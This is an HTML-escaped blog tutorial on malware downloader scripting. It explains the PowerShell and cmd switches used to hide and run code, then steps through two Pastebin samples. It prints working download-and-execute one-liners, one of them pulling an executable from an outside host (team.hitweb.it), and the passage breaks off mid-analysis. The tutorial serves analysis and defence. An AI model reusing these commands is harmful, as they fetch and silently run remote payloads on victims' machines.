  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;32&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;33&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Book Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;37&quot; Name=&quot;Bibliography&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; QFormat=&quot;true&quot; Name=&quot;TOC Heading&quot;/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
 {mso-style-name:&quot;Normaali taulukko&quot;;
 mso-tstyle-rowband-size:0;
 mso-tstyle-colband-size:0;
 mso-style-noshow:yes;
 mso-style-priority:99;
 mso-style-parent:&quot;&quot;;
 mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
 mso-para-margin-top:0cm;
 mso-para-margin-right:0cm;
 mso-para-margin-bottom:10.0pt;
 mso-para-margin-left:0cm;
 line-height:115%;
 mso-pagination:widow-orphan;
 font-size:11.0pt;
 font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
 mso-ascii-font-family:Calibri;
 mso-ascii-theme-font:minor-latin;
 mso-hansi-font-family:Calibri;
 mso-hansi-theme-font:minor-latin;
 mso-bidi-font-family:&quot;Times New Roman&quot;;
 mso-bidi-theme-font:minor-bidi;
 mso-fareast-language:EN-US;}
&lt;/style&gt;
&lt;![endif]--&gt;

&lt;br /&gt;

&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;This
 is an entry level view to understand scripting used by downloaders and 
by other malware. I assume no previous knowledge of scripting and the 
goal is to make the reader familiar with this topic. First I introduce 
scripting engines (shells) commonly used by downloaders. At the end I 
provide a few step-through of selected samples.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;

&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;h2&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;Commands and command line
switches found in malware&lt;/span&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;First a few words about notation:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;mso-list: l0 level1 lfo1; tab-stops: 99.25pt; text-indent: -18.0pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;symbol&amp;quot;; mso-ansi-language: EN-US; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;·&lt;span style=&quot;font: 7.0pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;DOS
commands may use either forward slash (/) or hyphen (-) as a switch character,
so cmd.exe /c and cmd.exe -c are the same commands. Powershell uses only hyphen
(-)&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-list: l0 level1 lfo1; tab-stops: 99.25pt; text-indent: -18.0pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;symbol&amp;quot;; mso-ansi-language: EN-US; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;·&lt;span style=&quot;font: 7.0pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;commands
are written in lowercase, if possible. In the real samples, it is common that
they are written in mixed case for example: C:\WiNDOws\sYStEm32\CMD.EXE /C. In
general the scripting languages are case-insensitive&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-list: l0 level1 lfo1; tab-stops: 99.25pt; text-indent: -18.0pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;symbol&amp;quot;; mso-ansi-language: EN-US; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;·&lt;span style=&quot;font: 7.0pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;Powershell
has a &quot;standard form&quot; for commands for example Invoke-Command which
may be written as invoke-command in this document&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;mso-list: l0 level1 lfo1; tab-stops: 99.25pt; text-indent: -18.0pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;symbol&amp;quot;; mso-ansi-language: EN-US; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;·&lt;span style=&quot;font: 7.0pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;as
a rule of thumb DOS and Vbscript use double-quotes with strings and Powershell
uses single-quotes. There are however exceptions for this rule&lt;/span&gt;&lt;/div&gt;
&lt;h3&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;DOS Commands&lt;/span&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;cmd.exe /c [string]&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 99.25pt; tab-stops: 99.25pt; text-indent: -99.25pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;/c&amp;nbsp;&amp;nbsp; Carries
out the command specified by string and then terminates command shell. &lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;start.exe /b [string]&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Starts a separate window to run a specified
program or command&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;/b&lt;span style=&quot;mso-tab-count: 2;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Start
application without creating a new window&lt;/span&gt;&lt;/div&gt;
&lt;h3&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;Powershell&lt;/span&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNoSpacing&quot; style=&quot;tab-stops: 99.25pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;About notation:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot; style=&quot;margin-left: 36.0pt; mso-list: l0 level1 lfo1; tab-stops: 99.25pt; text-indent: -18.0pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;symbol&amp;quot;; mso-ansi-language: EN-US; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;·&lt;span style=&quot;font: 7.0pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;commands
and command switches are represented both with their shortest and full form for
example -w[indowstyle] means that the switch can be between -w and -windowstyle
and it may contain any number of characters from [indowstyle] part like -wind&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot; style=&quot;tab-stops: 99.25pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;powershell -noexit -nol&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;-noninteractiv&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;-noprofile&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;
&lt;/span&gt;-execution&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;bypass&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;-windows hidden [string] |IEX&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;-noe[xit]&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp; &lt;/span&gt;Doesn&#39;t
exit after running commands&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;-nol[ogo]&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp; &lt;/span&gt;Hides
the copyright banner at startup&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;-noni[nteractive]&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Doesn&#39;t
present an interactive prompt to the user&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;-nop[rofile]&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Doesn&#39;t load
the PowerShell profile&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 99.0pt; tab-stops: 99.25pt; text-indent: -99.0pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;-ex[ecutionpolicy]&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&lt;/span&gt;Sets
the default execution policy for the current session and saves it in the&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $env:PSExecutionPolicyPreference environment variable. Value bypass: nothing is
blocked and there are no warnings or prompts.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;-w[indowstyle]&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Sets
the window style for the session. Value hidden: no window is shown&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;[string]&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;A
command string or script block&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;IEX&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Invoke-Expression command&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;powershell.exe -nop -w hidden -c
[string]&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 99.0pt; tab-stops: 99.25pt; text-indent: -99.0pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;-c[ommand]&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Executes the specified commands (with any parameters)
as though they were typed at the PowerShell command prompt.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 99.0pt; tab-stops: 99.25pt; text-indent: -99.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 99.0pt; tab-stops: 99.25pt; text-indent: -99.0pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;powershell -nop -sta
-w 1 -enc [string]&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 99.0pt; tab-stops: 99.25pt; text-indent: -99.0pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;-sta&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Starts
PowerShell using a single-threaded apartment. This is usually obsolete setting
to distract analysis&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 99.0pt; tab-stops: 99.25pt; text-indent: -99.0pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;-e[ncodedcommand] &lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&lt;/span&gt;Accepts a base-64-encoded string
as a command&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 99.0pt; tab-stops: 99.25pt; text-indent: -99.0pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;-w 1&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Same as
-windows hidden, now the value hidden is replaced with a numeric constant&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 99.0pt; tab-stops: 99.25pt; text-indent: -99.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;A sample step-through&lt;/span&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;Here is
a very simple downloader sample which I found at &lt;a href=&quot;https://pastebin.com/47Hjg9pL&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Pastebin&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;powershell.exe
-nop -w hidden -c $l=new-object net.webclient;$l.proxy=[Net.WebRequest]::GetSystemWebProxy();$l.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX
$l.downloadstring(&#39;http://192.168.0.10:8080/E1Y8TdrQEfw&#39;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;For the
sake of clarity I have divided a single long string with linebreaks. I have
also added linenumbers.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;1.
powershell.exe -nop -w hidden -c &lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;2.
$l=new-object net.webclient;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;3.
$l.proxy=[Net.WebRequest]::GetSystemWebProxy();&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;4.
$l.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;5. IEX $l.downloadstring(&#39;http://192.168.0.10:8080/E1Y8TdrQEfw&#39;);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNoSpacing&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;Steps:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;1. Invoke Powershell with no
execution policy, hidden window and execute following commands&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;2. Create a WebClient object and
assign object to variable l&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;3. Assign proxy settings to variable
I&#39;s proxy property&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;4. Set proxy credentials&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;tab-stops: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;5. Invoke expression &quot;I.downloadstring&quot; which has string
parameter &#39;http://192.168.0.10:8080/E1Y8TdrQEfw&#39;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 3.0cm; tab-stops: 99.25pt; text-indent: -3.0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;Here is
another sample from &lt;a href=&quot;https://pastebin.com/EcNwBdBr&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Pastebin&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;Set usdbzw
= CreateObject(&quot;WScript.Shell&quot;) &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;usdbzw.Run
&quot;powershell $gscbut = New-Object -ComObject Msxml2.XMLHTTP; $hgttbdy =
New-Object -ComObject ADODB.Stream; $zteyxhj = $env:temp +
&#39;\Dropbo.exe&#39;;$gscbut.open(&#39;GET&#39;, &#39;http://team.hitweb.it/tes2t?12143&#39;, $false);$gscbut.send();
if($gscbut.Status -eq &quot;200&quot;){$hgttbdy.open();$hgttbdy.type =
1;$hgttbdy.write($gscbut.responseBody);$hgttbdy.position =
0;$hgttbdy.savetofile($zteyxhj);$hgttbdy.close();} Start-Process
$zteyxhj;&quot;,0, true&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;Here is the
sample with linebreaks and linenumbers.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;1.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;Set usdbzw =
CreateObject(&quot;WScript.Shell&quot;) &lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;2.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;usdbzw.Run &lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
